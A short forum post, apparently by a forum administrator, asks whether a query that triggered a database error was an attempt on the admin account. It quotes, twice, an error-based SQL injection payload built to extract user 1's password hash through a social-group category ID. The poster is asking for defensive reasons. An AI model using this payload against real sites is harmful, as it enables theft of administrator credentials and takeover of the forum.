SVTOA
10-27-2011, 08:33 PM
I think I know the answer, but...
Is this someone trying to exploit the admin account? (It generated a database error notification)
SELECT socialgroupcategory.title
FROM socialgroupcategory AS socialgroupcategory
WHERE socialgroupcategory.socialgroupcategoryid IN (-99) union select password from user where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*);
Is this someone trying to exploit the admin account? (It generated a database error notification)
SELECT socialgroupcategory.title
FROM socialgroupcategory AS socialgroupcategory
WHERE socialgroupcategory.socialgroupcategoryid IN (-99) union select password from user where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*);